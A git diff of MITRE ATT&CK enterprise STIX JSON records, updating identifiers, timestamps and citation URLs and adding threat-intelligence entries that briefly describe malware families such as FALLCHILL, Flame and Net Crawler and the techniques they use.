@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--eeae8811-863f-4c9c-bdfc-54f1c8044656",
+    "id": "bundle--705c479c-d718-4416-b794-2590a363cda2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:54.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Mivast",
             "description": "Mivast is a backdoor that has been used by Deep Panda. It was reportedly used in the Anthem breach. (Citation: Symantec Black Vine)\n\nAliases: Mivast",
             "labels": [
diff --git a/enterprise-attack/malware/malware--fde50aaa-f5de-4cb8-989a-babb57d6a704.json b/enterprise-attack/malware/malware--fde50aaa-f5de-4cb8-989a-babb57d6a704.json
index 62216871d8..d58f024277 100644
--- a/enterprise-attack/malware/malware--fde50aaa-f5de-4cb8-989a-babb57d6a704.json
+++ b/enterprise-attack/malware/malware--fde50aaa-f5de-4cb8-989a-babb57d6a704.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d2e978b9-e599-499d-b834-1e8137e19226",
+    "id": "bundle--41264d2f-ca59-4948-8fe8-4b82a6df4fe3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:38.851Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Net Crawler",
             "description": "Net Crawler is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using PsExec to execute a copy of Net Crawler. (Citation: Cylance Cleaver)\n\nAliases: Net Crawler, NetC",
             "labels": [
diff --git a/enterprise-attack/malware/malware--fece06b7-d4b1-42cf-b81a-5323c917546e.json b/enterprise-attack/malware/malware--fece06b7-d4b1-42cf-b81a-5323c917546e.json
new file mode 100644
index 0000000000..dc143a7934
--- /dev/null
+++ b/enterprise-attack/malware/malware--fece06b7-d4b1-42cf-b81a-5323c917546e.json
@@ -0,0 +1,37 @@
+{
+    "type": "bundle",
+    "id": "bundle--9e8a263d-b5d7-4fac-9bb4-2eaf213081e1",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "malware",
+            "id": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "FALLCHILL",
+            "description": "is a RAT that has been used by Lazarus Group since at least 2016 to target the aerospace, telecommunications, and finance industries. It is usually dropped by other Lazarus Group malware or delivered when a victim unknowingly visits a compromised website. (Citation: US-CERT FALLCHILL Nov 2017)\n\nAliases: FALLCHILL",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0181",
+                    "external_id": "S0181"
+                },
+                {
+                    "source_name": "US-CERT FALLCHILL Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "FALLCHILL"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/malware/malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498.json b/enterprise-attack/malware/malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498.json
index c9b1c52a92..908d712900 100644
--- a/enterprise-attack/malware/malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498.json
+++ b/enterprise-attack/malware/malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e50e8225-069d-434d-91ae-40db176452aa",
+    "id": "bundle--69ce262b-9172-4e10-a38e-9dd856adde04",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:21.973Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Flame",
             "description": "Flame is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries. (Citation: Kaspersky Flame)\n\nAliases: Flame, Flamer, sKyWIper",
             "labels": [
@@ -23,7 +23,7 @@
                 {
                     "source_name": "Kaspersky Flame",
                     "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.",
-                    "url": "https://securelist.com/blog/incidents/34344/the-flame-questions-and-answers-51/"
+                    "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/marking-definition/marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168.json b/enterprise-attack/marking-definition/marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168.json
index 269de811dd..aa0eaffdfc 100644
--- a/enterprise-attack/marking-definition/marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168.json
+++ b/enterprise-attack/marking-definition/marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--79e6a60a-5833-4358-99f7-a48dbdccefbf",
+    "id": "bundle--35eddbcb-9c62-44ee-bd31-2bc5202331f7",
     "spec_version": "2.0",
     "objects": [
         {
diff --git a/enterprise-attack/relationship/relationship--0024d82d-97ea-4dc5-81a1-8738862e1f3b.json b/enterprise-attack/relationship/relationship--0024d82d-97ea-4dc5-81a1-8738862e1f3b.json
index 1a9cabf01a..d8c43a608f 100644
--- a/enterprise-attack/relationship/relationship--0024d82d-97ea-4dc5-81a1-8738862e1f3b.json
+++ b/enterprise-attack/relationship/relationship--0024d82d-97ea-4dc5-81a1-8738862e1f3b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--426e9a7e-119f-47a5-bd05-3a3bc990aa2b",
+    "id": "bundle--971f4605-bfb8-4ec9-9a0b-a4bd67db9ea9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0024d82d-97ea-4dc5-81a1-8738862e1f3b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon obtains the system time and will only activate if it is greater than a preset date.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
diff --git a/enterprise-attack/relationship/relationship--0040fdbd-ec7e-49b3-b715-c8c91e08666b.json b/enterprise-attack/relationship/relationship--0040fdbd-ec7e-49b3-b715-c8c91e08666b.json
index fbab311ff8..5c3bbc284b 100644
--- a/enterprise-attack/relationship/relationship--0040fdbd-ec7e-49b3-b715-c8c91e08666b.json
+++ b/enterprise-attack/relationship/relationship--0040fdbd-ec7e-49b3-b715-c8c91e08666b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--666d3307-0a0e-4002-aa1e-01fb18f66ddd",
+    "id": "bundle--2c1d2320-4df4-4c96-abc8-9b1b803b5a74",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0040fdbd-ec7e-49b3-b715-c8c91e08666b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Variants of Emissary have added Run Registry keys to establish persistence.",
             "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
diff --git a/enterprise-attack/relationship/relationship--0061f7aa-fe4e-41e5-8ebf-e9f526bda08f.json b/enterprise-attack/relationship/relationship--0061f7aa-fe4e-41e5-8ebf-e9f526bda08f.json
new file mode 100644
index 0000000000..f78fb0f3b5
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--0061f7aa-fe4e-41e5-8ebf-e9f526bda08f.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--07b3890d-7e81-4f16-a98b-e766f314a86c",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--0061f7aa-fe4e-41e5-8ebf-e9f526bda08f",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "creates then deletes log files during installation of itself as a service.",
+            "source_ref": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a",
+            "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--007cc21a-685a-4701-99c1-20f258cedc7c.json b/enterprise-attack/relationship/relationship--007cc21a-685a-4701-99c1-20f258cedc7c.json
index 4f885b7b87..7fa03f1c9b 100644
--- a/enterprise-attack/relationship/relationship--007cc21a-685a-4701-99c1-20f258cedc7c.json
+++ b/enterprise-attack/relationship/relationship--007cc21a-685a-4701-99c1-20f258cedc7c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c1bcf40f-c3cb-4f58-be4a-a305944d7c87",
+    "id": "bundle--0821e3eb-51a8-40a3-9f99-1f61aa8d48e9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--007cc21a-685a-4701-99c1-20f258cedc7c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BLACKCOFFEE has the capability to enumerate files.",
             "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43",
diff --git a/enterprise-attack/relationship/relationship--00ae99d1-db02-4007-8669-04d7fc4c1390.json b/enterprise-attack/relationship/relationship--00ae99d1-db02-4007-8669-04d7fc4c1390.json
index a8d96cb45f..00404587fe 100644
--- a/enterprise-attack/relationship/relationship--00ae99d1-db02-4007-8669-04d7fc4c1390.json
+++ b/enterprise-attack/relationship/relationship--00ae99d1-db02-4007-8669-04d7fc4c1390.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--66ec62d9-b4ba-4b59-94da-fe4f9394cbce",
+    "id": "bundle--601a825e-9505-4a64-8bdb-4847ad116d7c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--00ae99d1-db02-4007-8669-04d7fc4c1390",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Once a removable media device is inserted back into the first victim, USBStealer collects data from it that was exfiltrated from a second victim.",
             "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
@@ -22,7 +22,7 @@
                 {
                     "source_name": "Kaspersky Sofacy",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
-                    "url": "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--00b0af92-df59-4d56-ac3e-18f6f1f72957.json b/enterprise-attack/relationship/relationship--00b0af92-df59-4d56-ac3e-18f6f1f72957.json
index 2ae0b790c8..493fdb557a 100644
--- a/enterprise-attack/relationship/relationship--00b0af92-df59-4d56-ac3e-18f6f1f72957.json
+++ b/enterprise-attack/relationship/relationship--00b0af92-df59-4d56-ac3e-18f6f1f72957.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ad0a3c3c-4f86-49d1-a28c-904ec73a1125",
+    "id": "bundle--78e30c3c-76da-4ec1-8fa9-9b317ca4aa3a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--00b0af92-df59-4d56-ac3e-18f6f1f72957",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Flame contains modules to infect USB sticks and spread laterally to other Windows systems the stick is plugged into using autorun functionality.",
             "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Kaspersky Flame",
                     "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.",
-                    "url": "https://securelist.com/blog/incidents/34344/the-flame-questions-and-answers-51/"
+                    "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--00c88cab-5cb9-492a-8dce-8eab92213bc3.json b/enterprise-attack/relationship/relationship--00c88cab-5cb9-492a-8dce-8eab92213bc3.json
new file mode 100644
index 0000000000..edf689baa3
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--00c88cab-5cb9-492a-8dce-8eab92213bc3.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--c71c6fef-d217-4f33-9908-8997b7720258",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--00c88cab-5cb9-492a-8dce-8eab92213bc3",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--00ce7309-114c-45a1-b905-f7a973cb3837.json b/enterprise-attack/relationship/relationship--00ce7309-114c-45a1-b905-f7a973cb3837.json
index 2759ad3e15..14bf265e48 100644
--- a/enterprise-attack/relationship/relationship--00ce7309-114c-45a1-b905-f7a973cb3837.json
+++ b/enterprise-attack/relationship/relationship--00ce7309-114c-45a1-b905-f7a973cb3837.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--67908b7f-b488-4821-b0f9-5c32a565f0cb",
+    "id": "bundle--7f34e764-aa74-42ec-a250-31b9bb651419",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--00ce7309-114c-45a1-b905-f7a973cb3837",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.048Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT29 has used encoded PowerShell scripts uploaded to CozyCar installations to download and install SeaDuke, as well as to evade defenses.",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
diff --git a/enterprise-attack/relationship/relationship--013ab34f-54bf-4813-bd37-42a4eebb8d52.json b/enterprise-attack/relationship/relationship--013ab34f-54bf-4813-bd37-42a4eebb8d52.json
index b07affe547..27fe5ac740 100644
--- a/enterprise-attack/relationship/relationship--013ab34f-54bf-4813-bd37-42a4eebb8d52.json
+++ b/enterprise-attack/relationship/relationship--013ab34f-54bf-4813-bd37-42a4eebb8d52.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d0b56543-83ae-4b2c-8cf0-7116a4d125e7",
+    "id": "bundle--f48bed7c-079f-48d0-b6ae-492656b0423c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--013ab34f-54bf-4813-bd37-42a4eebb8d52",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.053Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
             "target_ref": "malware--123bd7b3-675c-4b1a-8482-c55782b20e2b",
diff --git a/enterprise-attack/relationship/relationship--016dc21c-ade9-43cc-9d88-a0c4c0891ccc.json b/enterprise-attack/relationship/relationship--016dc21c-ade9-43cc-9d88-a0c4c0891ccc.json
index e76dc99a33..c349eea044 100644
--- a/enterprise-attack/relationship/relationship--016dc21c-ade9-43cc-9d88-a0c4c0891ccc.json
+++ b/enterprise-attack/relationship/relationship--016dc21c-ade9-43cc-9d88-a0c4c0891ccc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--705adf89-0958-44de-8221-d238ec07d46b",
+    "id": "bundle--171177c0-5a61-4017-ad1d-6fa6919985bf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--016dc21c-ade9-43cc-9d88-a0c4c0891ccc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Most strings in USBStealer are encrypted using 3DES and XOR and reversed.",
             "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
diff --git a/enterprise-attack/relationship/relationship--0191f3d3-59d3-4fcc-bfff-5fbfa0675cfd.json b/enterprise-attack/relationship/relationship--0191f3d3-59d3-4fcc-bfff-5fbfa0675cfd.json
index 15bbedd8bc..814fc746e2 100644
--- a/enterprise-attack/relationship/relationship--0191f3d3-59d3-4fcc-bfff-5fbfa0675cfd.json
+++ b/enterprise-attack/relationship/relationship--0191f3d3-59d3-4fcc-bfff-5fbfa0675cfd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0590918b-5bf6-43f3-bf56-663c90efae34",
+    "id": "bundle--57ae26c2-b9ea-4ce6-bdc8-268e7089f3cc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0191f3d3-59d3-4fcc-bfff-5fbfa0675cfd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SeaDuke is capable of executing commands.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
diff --git a/enterprise-attack/relationship/relationship--019eb3cf-35df-4109-a006-1b91331866c3.json b/enterprise-attack/relationship/relationship--019eb3cf-35df-4109-a006-1b91331866c3.json
new file mode 100644
index 0000000000..ac19bea24e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--019eb3cf-35df-4109-a006-1b91331866c3.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--203b67f1-f9f6-4291-b9bc-dd3090a5a82d",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--019eb3cf-35df-4109-a006-1b91331866c3",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "drops a malicious file (sspisrv.dll) alongside a copy of lsass.exe, which is used to register a service that loads sspisrv.dll as a driver. The payload of the malicious driver (located in its entry-point function) is executed when loaded by lsass.exe before the spoofed service becomes unstable and crashes.",
+            "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
+            "target_ref": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352",
+            "external_references": [
+                {
+                    "source_name": "Microsoft SIR Vol 21",
+                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
+                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
+                },
+                {
+                    "source_name": "Microsoft Wingbird Nov 2017",
+                    "description": "Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.",
+                    "url": "https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--01ab8fee-5204-40c1-ac7a-b11a5683a87d.json b/enterprise-attack/relationship/relationship--01ab8fee-5204-40c1-ac7a-b11a5683a87d.json
index 42569fc84f..f6c04f8240 100644
--- a/enterprise-attack/relationship/relationship--01ab8fee-5204-40c1-ac7a-b11a5683a87d.json
+++ b/enterprise-attack/relationship/relationship--01ab8fee-5204-40c1-ac7a-b11a5683a87d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7c1143a7-20b8-4c12-a21a-f94608a883bc",
+    "id": "bundle--a6aa6c86-cc2f-4f61-ae7d-9cd893f21a12",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--01ab8fee-5204-40c1-ac7a-b11a5683a87d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Misdat saves itself as a file named msdtc.exe, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service.",
             "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
diff --git a/enterprise-attack/relationship/relationship--01b924d7-42dd-412f-a9af-cabcb46512ea.json b/enterprise-attack/relationship/relationship--01b924d7-42dd-412f-a9af-cabcb46512ea.json
index 116a22b538..cb75c3a041 100644
--- a/enterprise-attack/relationship/relationship--01b924d7-42dd-412f-a9af-cabcb46512ea.json
+++ b/enterprise-attack/relationship/relationship--01b924d7-42dd-412f-a9af-cabcb46512ea.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c4968624-a765-487a-b32b-4cdb061c6064",
+    "id": "bundle--e5af713b-4530-430f-823a-f6375ed8e0de",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--01b924d7-42dd-412f-a9af-cabcb46512ea",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.075Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d",
             "target_ref": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe",
diff --git a/enterprise-attack/relationship/relationship--01e01c24-ba4c-41d7-8f30-8fca364dc2c6.json b/enterprise-attack/relationship/relationship--01e01c24-ba4c-41d7-8f30-8fca364dc2c6.json
index 5113d0c9cd..0025a76e10 100644
--- a/enterprise-attack/relationship/relationship--01e01c24-ba4c-41d7-8f30-8fca364dc2c6.json
+++ b/enterprise-attack/relationship/relationship--01e01c24-ba4c-41d7-8f30-8fca364dc2c6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d38c5ca4-107d-4619-a368-24f81ae563e8",
+    "id": "bundle--ac60e39a-d44b-4630-9e7a-e2599a2aa256",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--01e01c24-ba4c-41d7-8f30-8fca364dc2c6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ifconfig can be used to display adapter configuration on Unix systems, including information for TCP/IP, DNS, and DHCP.",
             "source_ref": "tool--362dc67f-4e85-4562-9dac-1b6b7f3ec4b5",
diff --git a/enterprise-attack/relationship/relationship--021c3289-43bb-4787-9d7e-6ad17b3ce84f.json b/enterprise-attack/relationship/relationship--021c3289-43bb-4787-9d7e-6ad17b3ce84f.json
index eec9d8b9ab..32391b0827 100644
--- a/enterprise-attack/relationship/relationship--021c3289-43bb-4787-9d7e-6ad17b3ce84f.json
+++ b/enterprise-attack/relationship/relationship--021c3289-43bb-4787-9d7e-6ad17b3ce84f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e4307821-5402-44f7-8d46-2308098b4683",
+    "id": "bundle--5fa52b5a-bb41-42bb-bf10-7e9a559b8d6e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--021c3289-43bb-4787-9d7e-6ad17b3ce84f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Variants of Emissary encrypt payloads using various XOR ciphers, as well as a custom algorithm that uses the \"srand\" and \"rand\" functions.",
             "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
diff --git a/enterprise-attack/relationship/relationship--02206f22-80e9-4f87-9e4b-5c1df1eb737e.json b/enterprise-attack/relationship/relationship--02206f22-80e9-4f87-9e4b-5c1df1eb737e.json
index ddf4ad3e8b..0e5e4d239f 100644
--- a/enterprise-attack/relationship/relationship--02206f22-80e9-4f87-9e4b-5c1df1eb737e.json
+++ b/enterprise-attack/relationship/relationship--02206f22-80e9-4f87-9e4b-5c1df1eb737e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--63576a4a-a969-4e9d-a1fb-a2aeefc71aaf",
+    "id": "bundle--a92efb5c-e915-410c-a9d2-476038634ab3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--02206f22-80e9-4f87-9e4b-5c1df1eb737e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Unknown Logger can obtain information about the victim computer name, physical memory, country, and date.",
             "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56",
diff --git a/enterprise-attack/relationship/relationship--023ff141-8ed7-4132-85a0-494fe075236b.json b/enterprise-attack/relationship/relationship--023ff141-8ed7-4132-85a0-494fe075236b.json
new file mode 100644
index 0000000000..5e4397b74b
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--023ff141-8ed7-4132-85a0-494fe075236b.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--20212e08-aca1-42fa-b020-59b2969ee517",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--023ff141-8ed7-4132-85a0-494fe075236b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware is capable of keylogging.",
